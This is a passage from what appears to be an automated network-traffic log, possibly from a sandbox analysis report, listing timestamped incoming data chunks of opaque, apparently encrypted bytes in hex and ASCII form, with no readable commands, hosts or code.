2022-08-23 01:43:52 UTC	1932	IN	Data Raw: fc f3 d1 e2 e0 47 7b 15 17 78 4d e6 6b 19 84 6d 80 d3 04 e5 99 c2 77 f4 7d e6 1f 78 a9 65 63 b9 c1 dd a4 2d 03 5c 8b 67 df dc 8e a1 31 10 2f 63 36 c4 01 99 4f 28 2f 9b 1c 16 54 b1 b5 ea da 4a c9 f8 bd e9 e7 16 a9 d4 38 d5 eb 3a 64 74 08 27 bf 2f 82 88 3d b5 00 c0 38 8f 2a 8e 89 d8 8a f5 4b 8a 20 92 7c 0b aa f1 90 8d 49 cb b0 db 35 0a da 21 39 a6 25 e9 88 75 c2 77 9b 0e 93 5b 76 de e4 eb 05 78 ba 56 f6 73 e0 4e 09 ad 7b 0c f5 2c d2 91 06 42 d4 9c a3 49 46 f4 d8 45 1d ce 8b f0 23 59 e7 d3 b5 9b f4 82 67 86 38 a3 e3 56 77 f3 a9 16 29 72 92 1a 90 1a 86 bb 7b dd b0 ef 3a 05 4a 69 96 4c fe 73 6b 9b 11 8f 05 63 7f 8e 5f b4 1b 5f e4 94 80 75 6a e5 a9 c9 ce 53 e2 81 43 16 9c 14 3d 29 31 be ed 51 8c 11 4a 67 1e 0f c1 99 08 1a 0b 41 2a d9 dd a4 36 c8 dc 27 86 c4 ed Data Ascii: G{xMkmw}xec-\g1/c6O(/TJ8:dt'/=8K \|I5!9%uw[vxVsN{,BIFE#Yg8Vw)r{:JiLskc__ujSC=)1QJgA6'
2022-08-23 01:43:52 UTC	1948	IN	Data Raw: bb cb b8 2c 12 ff 7e e8 ba f6 ac 3f 23 bd 58 5b 2a 97 7a 5c 1f c2 4a b7 1a 88 66 bc 33 10 84 ff 6f 7d e5 93 fd 06 b4 6c 1d a0 ad 8b b5 77 88 68 36 fb 47 2b e0 e6 46 f6 b9 86 a1 53 92 f0 7a a1 ff b9 3c 69 72 ad 76 72 50 80 77 87 f4 c4 e4 fa fe 8d fd 79 bb 99 3f b3 ba 7b 7d 23 ff b7 ea f8 4d 07 d5 15 46 5a 17 53 a3 53 ce 5f bf d5 4f 19 a0 f9 5c 29 ee 0b 4a 10 01 64 63 b3 16 fc 74 85 c7 eb 13 e9 b9 22 6c ae d7 4c 32 ef 14 e0 bd e1 f5 c9 fd 4c bb af 9c b9 95 42 1e 40 e0 e1 60 6f e2 c4 95 9e 25 29 00 4b fc 8d d7 5b a7 af f4 ee 85 4e e1 3e 9e 02 56 bd 92 bf b9 d0 99 d4 70 64 57 09 4e ab 54 d2 67 31 47 f0 ac b1 1c e4 8c ff cd b8 83 70 f1 70 84 00 65 ed 59 36 61 16 fe d0 e8 e7 78 b7 3f f7 e7 cf 41 6b 42 7b e7 af e7 d3 1d 46 e2 71 00 d1 89 9b 57 07 2b ba c2 1e 14 Data Ascii: ,~?#X[*z\Jf3o}lwh6G+FSz<irvrPwy?{}#MFZSS_O\)Jdct"lL2LB@`o%)K[N>VpdWNTg1GppeY6ax?AkB{FqW+
2022-08-23 01:43:52 UTC	1964	IN	Data Raw: 41 14 a0 55 cf 4e 34 c1 80 19 07 4c 9c fd 0d 07 68 9a 56 25 6c 16 3f b1 30 7b aa ce 86 48 6e e4 0c 9c 88 f0 ef 58 32 f0 86 a1 a5 9f ab b4 f4 64 dd 8d 32 9d 41 23 95 f5 43 63 f0 fe d4 32 e4 bd bd 2c a7 08 55 72 be 90 75 4a cf 5b 6a c5 9c 1e f2 bb aa 37 f0 1d e5 4f bf 82 a3 84 94 36 ef 95 b2 06 c4 81 63 09 39 99 f7 3b 9b cd 93 44 a6 6e 75 f0 12 2c dd 5d cb 8e 8a 34 8e ca 73 7b 57 15 15 b6 a3 af 7c e6 64 3e 7a 3b 55 b7 64 61 e4 47 36 ee 61 81 fa f8 78 79 76 a9 f5 26 7d 22 61 7c e1 94 f4 21 00 17 3c 60 27 02 26 53 89 63 6f 90 ec 6f b3 08 ff 40 2f 77 67 75 bf ed c0 a3 1a 40 4a e2 d7 53 fb dd 97 f1 0d 5e 5b 4a d2 47 00 d6 15 0d 38 6a 12 6b 72 99 17 e7 bd 4c 1e 0b fa 35 7b ad ff 6c 35 15 8c d3 ed db a7 30 79 e4 f0 f0 d9 65 73 58 0b 6e 09 7c d7 d1 3f df 88 74 23 Data Ascii: AUN4LhV%l?0{HnX2d2A#Cc2,UruJ[j7O6c9;Dnu,]4s{W\|d>z;UdaG6axyv&}"a\|!<`'&Scoo@/wgu@JS^[JG8jkrL5{l50yesXn\|?t#
2022-08-23 01:43:52 UTC	1980	IN	Data Raw: e9 e1 d6 62 21 eb 5b 05 a1 d6 88 f2 2c 90 4a 20 7e 28 d3 09 86 2c 9c a3 75 41 89 0a d9 40 f1 f8 07 10 7a 41 43 a7 bc 5f 70 64 1a ff 8f 97 44 9d e9 cd 0b 6b 23 bc fd 67 6c 94 7e 16 48 78 04 77 ae 79 c4 7b a4 72 23 c0 f3 0f f4 25 9a 3f 45 ca 4a 6a 58 b5 1c 39 58 5f 16 2f 3f f5 11 6c dd 9d 7e b8 ca d9 88 6f 9e e9 2f c6 23 8b e3 ad d1 4d a3 22 05 d2 94 14 a8 ad ec 19 18 85 48 7c 8b ce 3a ae f9 b6 2d 01 af 2d d4 1d 83 3d 35 01 18 7b 37 13 38 53 f8 32 8a 26 3c 2d 3b de 86 d5 8f ae 4d 63 e1 e0 8e a2 56 17 c8 d6 ec b1 a8 d4 29 52 d5 f0 95 01 34 7e 26 d7 04 2e 36 f9 b1 e2 bc ed d6 43 c1 73 d8 e2 b6 d4 41 3b b3 9b 61 e2 09 24 ca d6 44 b3 01 c1 ab 6a cb 07 53 b1 ab 0b 2e a9 a3 1d 21 b1 d9 54 c8 a8 bb ad a1 02 bd fc a6 da 12 d9 a2 eb 4f 50 ed 80 b9 90 1d 58 5d 4e 16 Data Ascii: b![,J ~(,uA@zAC_pdDk#gl~Hxwy{r#%?EJjX9X_/?l~o/#M"H\|:--=5{78S2&<-;McV)R4~&.6CsA;a$DjS.!TOPX]N
2022-08-23 01:43:52 UTC	1996	IN	Data Raw: 9e 84 68 75 2a bf 42 ca aa 4f e8 03 4c 16 5c 36 10 cc 13 f5 5d aa 91 46 d5 db bd 5f fe e5 17 a2 e5 db 51 8a 0f 02 e9 d5 2c 01 06 f5 18 1f fd 43 8a 54 0f 9e b7 89 35 2b 8e 72 45 2b 59 43 78 81 d0 83 43 5e 0a ae cc a1 35 26 48 5d 74 c4 46 5a a1 be f1 a0 ea 24 c4 3b 7d 76 e3 48 a4 2d b9 46 fc d5 25 2e c5 ff 25 7e bf eb 0f f9 f9 f4 85 b5 4a 2f b7 99 eb dd 8d 93 8b 89 93 59 74 2b 53 60 e3 9c 21 7f ee 6c 7f aa b3 26 0a f9 b9 07 91 d6 34 47 75 81 b6 f6 39 2d 85 0a 94 a9 b1 23 d1 2e d4 ff 09 9d ad c7 b9 fc 73 58 0f c2 7f c5 a5 96 ab 8f ba 3b c4 8f 23 92 58 b7 7a 57 ce 98 6b f9 61 a5 63 cd 7a c2 22 ca 1f a3 6c a7 20 6a 7b cc cd 1a 6c 2c 4b 41 02 d4 ad 7a 8a af 02 dc 12 c2 22 08 0c 79 cb 14 e2 ab da 6c 2f 83 03 f0 7e 1a 58 06 1c 56 85 43 e8 b5 2e a5 5e 94 85 d2 19 Data Ascii: hu*BOL\6]F_Q,CT5+rE+YCxC^5&H]tFZ$;}vH-F%.%~J/Yt+S`!l&4Gu9-#.sX;#XzWkacz"l j{l,KAz"yl/~XVC.^
2022-08-23 01:43:52 UTC	2012	IN	Data Raw: d5 a2 af bd 38 1d b1 3e 8b 81 5e e2 fe 08 fc c8 f0 c9 50 b7 9a a1 20 b7 f7 68 af 0e 99 2a 7a 8d 03 c0 98 6b d9 84 12 72 d2 76 07 59 06 bf e5 48 64 63 89 61 62 65 a2 f7 4d af e6 a5 b2 21 8b 9a 4c e3 f7 f1 5e ae bc 74 5e 5f 8b 8b 4e ac 75 b0 23 7b 8c 03 57 95 61 39 d4 9a 8f 7d 45 77 08 20 3b 13 30 1d 25 ea 9e 0e 1a 84 d3 29 2d 96 7d 4b 98 44 69 6c 20 72 de c5 a7 2a 12 0e 5a 18 4a 19 4a 91 47 e7 24 5b 4f cb 3c 14 13 ce 40 bb 0d 85 a5 2b 81 7f fe 87 e6 2c 2c 23 1c e2 35 bb e5 13 52 6c 41 48 17 1f 31 1c b0 13 ad 7c 49 1d 43 37 fb fa f8 14 93 5a 6a 3c 8b 21 37 f0 fb 3b c5 c5 a8 00 3a e7 99 1d 7c 89 ff cf f1 5c ec f7 ec 30 eb a4 ef cf 92 04 f1 4c 24 13 78 32 6d 2b 72 30 b3 02 22 52 95 9b e7 79 86 e5 74 92 d1 e8 f4 15 f5 23 e9 f1 41 38 05 c1 0d a2 7f 7f dd 24 ac Data Ascii: 8>^P hzkrvYHdcabeM!L^t^_Nu#{Wa9}Ew ;0%)-}KDil rZJJG$[O<@+,,#5RlAH1\|IC7Zj<!7;:\|\0L$x2m+r0"Ryt#A8$
2022-08-23 01:43:52 UTC	2028	IN	Data Raw: 1c 04 fe cd 8c 5e a9 9c 7e 2b 9a 4d f8 49 4c 37 59 c0 10 0c 31 af dd 2b 19 46 e8 42 c4 c1 32 fd 18 30 e6 0f 0c ea 81 59 68 7b 71 4d 8a 7c 10 a8 ed 1c aa 65 13 17 0d e1 c5 b2 7a 66 6d be 7e b5 6c 35 be b9 7b 29 20 1d 00 cb a1 e5 dc 46 cb a5 77 41 16 af aa 94 70 fd 3e c7 21 74 48 38 b8 8e 08 13 d9 57 a5 51 83 21 92 21 53 04 03 ff 7d 31 1a 8e 9f cb a6 1a 7c 3e 25 3c 2a 95 a0 71 3b 2b e4 96 68 e0 b5 ee 46 80 d7 f5 ca 51 b1 c3 b0 0c 15 be 5d db c6 6b 20 d4 b7 e0 9d 3b 89 8e 7a d5 bd 3e f4 11 c0 1d a1 22 f6 cc 1b 57 a6 7e 1a 83 54 55 7b 9a ae 9d 1b fd 6d 84 ca 3c 81 83 8f fc 6c 85 9c 8a ae f0 ec 37 a4 c2 1b ce 52 c9 c2 6e 28 3f 6a ba 6d 1d a6 1e 5b 37 cd 43 45 4a 9c 09 4f 90 b0 22 3c 1d ca ff b0 50 01 fd 65 54 5a 17 4a 07 51 a6 db 25 3c d2 f8 68 44 f2 1b 1e af Data Ascii: ^~+MIL7Y1+FB20Yh{qM\|ezfm~l5{) FwAp>!tH8WQ!!S}1\|>%<*q;+hFQ]k ;z>"W~TU{m<l7Rn(?jm[7CEJO"<PeTZJQ%<hD
2022-08-23 01:43:52 UTC	2044	IN	Data Raw: 36 29 a5 61 d1 6d f5 1e fc 5a 28 78 68 2b 66 3a 80 b1 9f 8b 76 27 a7 e2 8a 61 95 03 b5 b2 af b5 f5 e5 de 97 68 5e 3e 33 c0 27 03 66 a0 ac 53 22 ae d2 42 be 25 2c 42 2d d4 cd 0d 5a 71 b7 6f a5 2b 8c 94 0b e3 7b a1 17 86 70 6d 69 f5 54 18 ca ae cf 35 9d 9e a5 a7 0d ca 97 a7 7a 9f 3b ea 04 f2 53 cd 1c ed f0 e2 b8 bf be 05 ab 9f 30 cd fc 39 dd 79 94 7a 6a 1b b9 4a 69 be 58 47 66 4e 78 a5 dd 2d 20 54 fd 92 81 ff 7d 3b 46 c8 17 dc b4 60 38 66 14 b5 78 63 e4 91 ba 36 54 b3 c4 ae e7 4a 11 6b 6f bd 94 9f 38 ad ee f8 1d a7 11 c8 21 3c 9f dc 4a 5e b2 3e 58 06 96 ab 84 69 ae 90 7d 08 38 d5 84 f7 ae 92 44 c0 cf b3 64 48 40 63 05 da b0 6b f0 2d 27 aa 98 ed 8d f9 7e 61 d2 c0 1c 29 2e ae da f2 ff 0c af 81 ac 27 4f a6 82 2a 32 0d b2 8a db dd 39 d5 76 48 17 6e a3 63 f5 7f Data Ascii: 6)amZ(xh+f:v'ah^>3'fS"B%,B-Zqo+{pmiT5z;S09yzjJiXGfNx- T};F`8fxc6TJko8!<J^>Xi}8DdH@ck-'~a).'O*29vHnc
2022-08-23 01:43:52 UTC	2060	IN	Data Raw: a6 be 3c 3f 4e d5 01 0f 95 b2 90 b2 35 06 6c 5e 12 d2 ca 7b 90 03 dc 9e 6a 92 dc e6 57 d7 b1 cd be 17 f9 c4 16 b1 8d b7 6c 3a df dc 10 40 35 6c f1 a6 86 cf 85 44 5b 03 16 79 d8 d6 24 13 b3 f7 f3 1f 0b 5d a7 3a 88 61 12 f2 57 ea 4b 45 9b fd 10 01 7a 84 4f cb a2 8f 1e 75 4f 57 5e ba 49 c2 a6 9f 93 fa 28 f6 a4 a3 56 c9 83 c8 11 86 d3 94 b0 26 cd 47 b8 df 41 73 94 54 66 4b 85 d6 63 65 dd 04 0a a9 48 fa 86 ae 6b 8d 7f 51 c4 04 a1 d2 59 54 98 7c 43 6a 13 22 24 31 a0 20 2f 10 1c 4f 04 1b 2c bd a6 4f c2 b5 f9 20 ee e8 12 6d 14 45 39 ec 53 41 61 7b e8 1a de 2f 1f 89 1d be 65 30 b1 ac 2f 60 6e bf 76 75 a1 10 97 fe 1b ae e1 0b e8 2c 7e 0f 49 a2 cb 0d c0 b9 8a 73 13 cf 2a 89 31 a5 78 b0 38 15 9d 50 32 c4 ff ea 6f 58 90 72 c0 f8 d6 cb 6a 9c 0b f0 b5 eb 0e 71 09 87 92 Data Ascii: <?N5l^{jWl:@5lD[y$]:aWKEzOuOW^I(V&GAsTfKceHkQYT\|Cj"$1 /O,O mE9SAa{/e0/`nvu,~Is*1x8P2oXrjq
2022-08-23 01:43:52 UTC	2076	IN	Data Raw: 1e 22 bc b7 93 4d 40 9a 31 16 7f c1 ff 45 35 4c f7 11 f5 34 4a 36 a0 61 35 53 0c ce 32 cb f9 f2 d7 a8 f2 6a 4b e8 8c fc 99 fa d4 e1 c5 c9 90 fa 86 12 a9 11 63 a4 ad 81 4c b9 4a d2 1f f7 cc 9a ff 82 ce d9 02 bb 53 95 84 df f1 40 71 cb be b9 18 7a c3 d7 a8 f1 9b bf 34 cc 06 fb 85 c4 2a c5 87 2b 5d 22 64 3c 1d 55 16 fc d7 e3 39 f5 f9 c7 fc b2 28 15 1d d6 af 29 d3 71 64 b9 42 a8 b5 98 0f 25 50 af 44 1e 29 3c fa 65 dd 38 24 52 4b 39 18 27 56 53 4e 50 2f 64 23 d2 e0 c4 c8 89 7b 97 e1 e4 b8 50 b6 93 ae 45 4a b3 3f 6b 80 43 30 3b 3a aa 63 49 54 66 fc d7 5e df 17 7b ef c4 fa 33 f7 cb 0a 3f b4 b7 f1 f7 b3 77 08 99 ae 74 b7 39 f8 58 b2 45 33 f6 1c f5 fb 37 5e af 33 d7 4f 56 52 dc 9c 55 c0 4e 3b 53 d0 c7 4f 73 a2 0c c7 d9 0a 90 e9 7c f2 b4 63 d0 b6 0c 3f 23 d4 cf 17 Data Ascii: "M@1E5L4J6a5S2jKcLJS@qz4*+]"d<U9()qdB%PD)<e8$RK9'VSNP/d#{PEJ?kC0;:cITf^{3?wt9XE37^3OVRUN;SOs\|c?#
2022-08-23 01:43:52 UTC	2092	IN	Data Raw: 75 ea c2 e6 e0 ec f7 69 33 73 98 ee 64 b7 31 16 6e 47 28 61 a3 49 9e d9 26 9d 40 fd f0 f6 00 ea 9f b9 4a 2f 57 2c 57 96 45 11 2b c3 fd 14 e7 6f e5 2e 8e cb db 76 6f 39 30 8f 24 68 0f f0 5c 81 27 a1 dc a9 71 32 47 c4 59 bb e0 6e 2e c7 99 6a aa 9a 8b c9 3b b6 22 bc 7a ea ef 6b 9b 34 37 ca 7f c2 b9 ce 61 9e 11 c4 55 27 ed cb 9e 4f c4 97 e6 dc 9b 4f 27 ff ba 87 99 6a 7a c4 78 37 96 f3 55 5a c2 22 24 4d c3 be 5b 45 e7 03 9c 76 7b da 93 b1 4c 3a b0 76 9b 78 35 0a 1e d0 84 9f 2a 81 9f df 46 0a 89 d8 11 46 5e 5b 8d ed b1 f6 70 26 9e 1f 5c 8a bf 83 ef 79 e0 20 a6 01 09 bf 93 35 45 51 ed 5d 44 59 82 7b 97 79 d3 f7 b6 ab 57 fb 6a 93 f2 bc 8a 6e 0d d2 bf 16 6a f7 08 1c ed 1c 9f 47 7c cd cd da 42 b1 43 34 f3 dd b2 41 79 28 b1 98 ca ac 9c ae bc d5 75 0e dc 4c b6 db 9a Data Ascii: ui3sd1nG(aI&@J/W,WE+o.vo90$h\'q2GYn.j;"zk47aU'OO'jzx7UZ"$M[Ev{L:vx5*FF^[p&\y 5EQ]DY{yWjnjG\|BC4Ay(uL
2022-08-23 01:43:52 UTC	2108	IN	Data Raw: 39 62 5b 05 ac bb ea cd 40 26 49 e4 ff a4 2a 88 dc e1 1a 7a a5 20 13 79 22 2f 5e e0 7d a2 1d 5b 1f 4a 40 04 1a 8c 3b f1 6a f0 11 a2 39 d9 07 02 71 03 56 e8 c1 fd 5b 1f b4 fa 42 e3 0d 9a 6f 77 7d 4b 64 09 3e 7f 4e d2 24 b2 fc 88 64 86 74 2c bf ff ec dd b4 c9 1f d7 6d d3 71 6e 90 f1 ac 73 c2 02 68 89 cc e2 8e 8a c4 2a 1e a2 14 f0 41 71 1c 1d 49 06 90 6a d6 c7 27 1e d6 ce fa 3c b5 4c 55 51 a4 8c c4 cc 3e 59 9d a5 da 34 f8 33 56 20 21 04 7c 38 4c 38 c8 bb a6 02 6f d2 ef 1e 21 e7 bf 9c 05 df be 7d f7 66 a9 fd b5 52 e4 54 ba 35 f5 4b ad 11 19 34 13 d6 14 f7 70 01 ce 77 43 d7 9d 32 2b a4 98 f8 30 dd 0f ac 8e db 12 2e 41 3c b0 2b a4 a0 3d 02 e8 55 87 71 bb ef 18 09 e3 c0 19 14 ec 73 a2 e8 43 a8 2e 03 ac f1 b3 a6 e5 7f b9 f3 55 7a 96 20 d8 17 24 0a 50 fd ec c7 ac Data Ascii: 9b[@&Iz y"/^}[J@;j9qV[Bow}Kd>N$dt,mqnshAqIj'<LUQ>Y43V !\|8L8o!}fRT5K4pwC2+0.A<+=UqsC.Uz $P
2022-08-23 01:43:52 UTC	2124	IN	Data Raw: 6a 44 ab 7e 99 92 38 6e 4a 66 01 b2 24 51 89 3f f9 4d 43 b8 a1 74 54 07 9f 7d 7c d6 09 3e ab 73 04 d4 c1 cd 27 0c 1f 11 80 5f 09 37 fe 8d c6 69 00 08 c1 ca 7d 0a 1b e4 73 65 91 4f 3c 13 a5 a1 a4 dc da 3b 36 48 ed b4 1c 3a 74 bd ae fd eb 4c 86 8f 32 e2 85 65 ba c3 0f 03 12 40 da 38 6e c7 96 42 d1 a6 ea 6f b7 f7 f6 37 61 8a cf 03 02 b8 26 fa f6 1f c9 cb 48 3c 9f a9 65 01 d6 c8 19 e4 62 74 ba f2 c5 0b ec f9 6c ab d6 1e 1e da 73 71 6f e5 12 5d 66 59 33 cf 7b 37 84 a1 c8 74 76 d5 42 62 19 64 3e 50 26 aa 13 2f e2 6e 81 5f bb 20 49 9f 55 50 88 8a f3 d9 6e 88 47 62 19 96 ef 7a 73 dc 52 dd fc e2 da cb 6d e8 15 da b3 66 f0 c5 53 21 1c 67 78 d2 6e f0 26 6b 0d 38 1d 9d ce b6 38 1a dc 3c 1b dd 5c cc 41 32 ba cc 20 13 9b 08 6a 6c e4 15 58 77 12 02 24 c2 b6 48 c0 11 31 Data Ascii: jD~8nJf$Q?MCtT}\|>s'_7i}seO<;6H:tL2e@8nBo7a&H<ebtlsqo]fY3{7tvBbd>P&/n_ IUPnGbzsRmfS!gxn&k88<\A2 jlXw$H1
2022-08-23 01:43:52 UTC	2140	IN	Data Raw: f6 de 53 82 d5 29 d1 ce 08 24 ef 22 85 9b f6 86 ab 3b 68 5c b6 b1 1e ea 01 d5 57 03 13 07 3c 4b 9f 51 cc 63 26 9f cc 0c 5e c6 7a cb 75 46 78 f0 c1 1a af 04 62 b4 7f 8e aa a9 5c a9 90 32 cd 9c 6d 92 b9 74 68 fe 32 c2 50 44 11 e8 b7 a9 dc ce 1d 63 22 22 31 fe 65 e2 5d e0 00 94 f6 5b 2f aa 01 2c 39 74 d6 4b 38 86 19 19 b1 68 24 40 8e 0f 12 01 4d e8 b0 e4 f9 d2 21 4c 50 39 8b c4 2f 1b f0 db 35 ef c1 5f 48 1f a3 e4 8a 08 2d b7 56 78 76 bf c2 7a f3 99 f6 e8 f5 c5 93 b3 5a 8d 68 2c b8 96 5d 55 89 2f 3d 23 0c 6d ad 2b 0b 81 56 bb 4b 9c 05 be 06 f0 7e 3d 96 f7 10 a3 39 4d 24 2c 5c da c2 fd 3f 50 37 f7 f4 8e d9 0d 81 44 60 7c 0c 2d ac c3 17 61 10 15 e2 b1 bf e0 54 50 53 e8 39 f5 d1 e9 f9 4c a0 b5 37 f0 ca ee 5c 6a 3a 31 71 c0 20 38 66 dc aa 88 3c aa 0a 22 97 c2 2e Data Ascii: S)$";h\W<KQc&^zuFxb\2mth2PDc""1e][/,9tK8h$@M!LP9/5_H-VxvzZh,]U/=#m+VK~=9M$,\?P7D`\|-aTPS9L7\j:1q 8f<".
2022-08-23 01:43:52 UTC	2156	IN	Data Raw: 38 5a cc 34 f1 0b f3 24 dd 50 52 84 84 62 73 27 99 ac 72 ee 5d b9 4b 12 e9 ed d5 b1 76 e1 3e 15 e7 db 3f 8a 65 5d c3 42 8c 10 d4 38 5d eb 49 70 a6 ad aa 21 d9 ce b5 03 3a 25 73 6a 1a 23 ae 6a 8e 9e 61 9a 2e b9 43 d4 00 88 23 fb de a9 e4 38 d2 84 c8 06 92 b8 23 20 72 07 6b 51 e3 4b 07 db 6a 78 de 03 e1 90 f0 07 c6 c0 43 e7 05 a1 38 58 1a 53 08 97 48 ca f6 d6 d5 fd e4 6a 85 97 13 cd fd bd 80 f0 35 b8 a7 21 7d 8a a4 e6 18 b7 d6 78 fa 85 ef c0 b7 47 ac d6 cc be 5c 8f 62 27 57 0a a6 31 7d e9 d0 62 0d 15 c0 ba 15 25 51 f5 c5 8e e7 81 68 50 da c7 a7 5c 46 6b 91 8a ba e4 b8 1b 52 39 90 03 84 cd 09 99 19 e2 41 06 ab 03 e3 87 1f 93 0d f1 1c d2 45 06 a6 8b 25 83 cd e8 1b b1 34 7b 46 58 65 a7 a9 61 dd d1 a5 a2 29 4a 28 c0 49 07 c0 df 3a c4 ec f0 83 fc 46 f8 21 68 d0 Data Ascii: 8Z4$PRbs'r]Kv>?e]B8]Ip!:%sj#ja.C#8# rkQKjxC8XSHj5!}xG\b'W1}b%QhP\FkR9AE%4{FXea)J(I:F!h
2022-08-23 01:43:52 UTC	2172	IN	Data Raw: 43 fa 89 d7 65 94 00 de 78 28 13 dc e2 ea 81 27 e4 ca fd 7a 44 e1 f8 9f 84 71 fc 97 b6 cb 77 37 6e d1 25 58 69 af bc 42 c4 f6 39 a8 bf 98 82 b9 2c d0 7d bc 03 b4 05 8d 2b 43 7d ee 6d 04 d6 77 90 f5 c3 84 03 d9 64 ea 94 f9 f4 8a d7 c2 40 8b f3 2b f7 e8 40 1b b9 a6 72 b7 42 5a 53 b0 02 a8 2e b4 b9 cb c0 af a4 d4 cf 96 d0 ac 73 54 19 1f 3d c2 cf bb 9e fb b9 25 50 35 36 69 89 ba 92 5c 4f 09 49 d1 09 a4 b3 59 aa 82 5b 3f 2e 2a 68 f9 1c bd dd ff 7c ac 06 90 2a 25 7b 89 74 87 a2 f7 79 fa f6 cb e0 b5 6b e7 8d d8 75 11 9c 6d 51 20 83 70 18 27 c0 5e 04 fd 6b 38 6a 05 d7 ce c5 bf d2 1f 47 bd f4 04 3e 6c c9 d1 79 de 99 07 c2 58 8f de 25 d8 b8 9c e1 a4 bc b6 27 3a 55 30 97 99 82 27 57 4d ae 97 50 30 0d f7 c4 9e 63 aa dc a5 ba 86 a7 ab cb 66 5d 3a 17 4c 05 f1 df 3b 6d Data Ascii: Cex('zDqw7n%XiB9,}+C}mwd@+@rBZS.sT=%P56i\OIY[?.h\|%{tykumQ p'^k8jG>lyX%':U0'WMP0cf]:L;m
2022-08-23 01:43:52 UTC	2188	IN	Data Raw: 80 75 12 de 35 0c c8 61 ee 32 72 7d 6e 22 d1 4a 3d 5f 3a ff cc 54 d2 eb 19 05 ff e1 66 66 61 50 bd be 73 8e 24 92 f2 1b ec 9b 98 cc eb 35 90 46 03 59 07 fb 44 80 a4 47 26 3b 7b 30 f6 4c 39 99 4e 7e 21 e7 42 c6 2f 0f 10 dc 27 d3 f1 01 02 e7 a7 1f 0c 32 f7 80 a6 81 5f 94 5d 8f 3f 8d 1b 92 82 45 3c 3c 6c cd bb a5 81 c7 76 18 45 a2 3e fc 36 57 54 95 66 89 f0 a3 36 40 1b 98 69 73 62 2c 36 56 f2 8e 6c ee 0b 20 f1 57 14 f6 4a 8c e7 bb 4d c5 b2 94 d9 d0 a1 e0 49 81 f0 4d 7b b7 90 f6 49 e8 de b8 df a8 39 30 bb ce ca 68 5d d8 fa b3 df fc 7f e2 9a 72 55 2a 4c f4 4d e1 b5 be b1 04 46 8e 8c c5 80 9a 9d c9 41 7a f6 07 c0 c4 8a 33 ff 6e a3 ab 79 9d 5c d4 94 fd 90 08 85 b9 a5 d9 23 b8 75 e8 97 00 5c 7b 4b 47 48 e0 60 2f 3a fd 01 78 8e 0e 66 53 f6 05 bd 98 7e d7 ba f7 a5 Data Ascii: u5a2r}n"J=_:TffaPs$5FYDG&;{0L9N~!B/'2_]?E<<lvE>6WTf6@isb,6Vl WJMIM{I90h]rU*LMFAz3ny\#u\{KGH`/:xfS~
2022-08-23 01:43:52 UTC	2204	IN	Data Raw: 61 43 aa bd 4f 27 cf a1 58 6a da 83 8a 23 1e 00 e1 0e cd 5d 54 12 fd 50 25 4f 9d 9b d2 af a1 1b 5f 5b 07 5b 8e 3d b8 27 17 98 f5 1e 63 51 44 ad 8a a6 da c3 9b f3 de 6e 2a 28 8b cb ac c0 49 07 9e bb 8b 29 a8 0f 46 38 94 49 fa c2 a1 5f ec 2c 84 34 3f 73 a6 dc e8 c6 66 51 bd 53 93 e4 7e 2d bd 0a d0 24 87 fa 61 af ce 32 16 5b 27 38 55 54 5e d8 85 c5 8c d1 c2 2e 6f c2 6d 37 77 32 0a a3 94 dd fb 0e 00 3b d6 d6 34 14 81 eb eb f1 0c 53 97 27 e5 49 cf e4 4b b7 9d ab 7a 89 8b 6b 90 1b 01 a2 a4 45 6f 11 6c 80 cc 12 e3 ed 32 d1 53 40 2d 49 9f b1 b6 89 a0 81 b3 88 dd 5a bf 77 40 54 b3 a8 eb 4a 20 92 25 41 dd 82 e7 e2 e5 ef af 48 f6 fe bb e5 5b 55 24 1d c9 7b 31 dd 27 6b ef 24 d0 84 6b 3c 95 07 6e d8 c5 b4 a2 ed ee 13 9e 2a 96 02 55 52 22 96 dc 3f a8 3f 15 a5 30 c8 c6 Data Ascii: aCO'Xj#]TP%O_[[='cQDn(I)F8I_,4?sfQS~-$a2['8UT^.om7w2;4S'IKzkEol2S@-IZw@TJ %AH[U${1'k$k<nUR"??0
2022-08-23 01:43:52 UTC	2220	IN	Data Raw: b3 fb 62 8f 4a 91 56 11 dd a0 a4 ba 98 89 a9 e7 46 75 b5 69 17 65 46 ef 7d 31 dc b1 10 0c 59 76 e2 f5 51 77 30 b9 14 96 ec 8a b0 ba 5d 1f 88 43 5a ab 90 16 fd ba 19 f4 e9 dd 91 09 ac 15 31 1f 2b 6c 3a 03 79 ce 3b dc 26 af a1 56 49 20 d6 be a0 62 84 aa 94 86 76 da 58 29 02 f4 93 d8 3e 69 26 83 dd 31 8d e1 3f 0c 6d f3 63 b7 82 ab 27 38 75 1e 55 8f ab 97 57 20 66 7c d1 2b 08 2d 8b d6 18 cc ea ca f8 51 f9 5d 47 04 24 c8 ff 34 50 f0 56 cd a1 73 f1 b0 fd 2b 3b 99 df c1 e7 65 6f 6d e7 76 9c 1e e7 73 31 61 5e ad 5a d2 6b 9e a4 c7 32 63 2e 12 9a 95 70 6d 2a 6d 48 a6 ad bd 20 69 a5 a4 91 b3 30 9c 41 77 f2 3d ec 34 cc b0 a3 1e 3b 16 de 31 8b bd 3c 67 0c 42 84 3f 6a 4f 99 fa cd 5b 1c 2c 50 a9 a8 82 fb 74 15 49 76 e0 92 c5 77 9b e8 20 ba 65 fc 84 71 7d 86 64 e1 0f 5f Data Ascii: bJVFuieF}1YvQw0]CZ1+l:y;&VI bvX)>i&1?mc'8uUW f\|+-Q]G$4PVs+;eomvs1a^Zk2c.pm*mH i0Aw=4;1<gB?jO[,PtIvw eq}d_
2022-08-23 01:43:52 UTC	2236	IN	Data Raw: 42 2f 93 b4 58 d3 dc bb 92 dc 21 0b 2c cb c8 75 ff 88 31 f8 32 60 78 c7 82 2e d7 5a 84 28 42 b7 0b c1 15 ff 77 f5 49 5f 6f 99 09 38 b0 f6 6d 6c 9c d8 86 d9 ea 5d b7 ab 5e 75 7a f7 ba 88 d6 08 31 85 6f 73 86 50 89 e9 03 f1 90 4d 7d bc e9 b0 65 95 b9 8e 4c 12 b0 bd 45 66 1a 74 43 06 24 e9 b2 05 d3 15 16 14 74 e8 a8 21 55 ba 06 90 63 c1 09 7a 09 37 7a a0 2c 70 2a 62 10 21 33 71 0f a9 1e 68 d1 b4 c6 94 d3 79 8a 83 9a f0 eb a7 19 6a 02 b1 4a e4 99 4b 7c 03 e2 0e 26 9a c5 46 f9 93 eb e0 d3 cd eb 01 fa 22 4f f3 cd 20 ae 32 3f 07 0c 07 07 c7 46 3c 6d d1 6a a1 3b 4c 5a 11 51 05 87 b1 6a 1e ed dd 8f a5 61 ef 03 06 f4 ee fc 72 ac b9 61 47 d0 b4 37 0b 32 c3 9e 4e e1 8c b4 44 56 80 c3 7a 70 b7 68 85 2c 1f 40 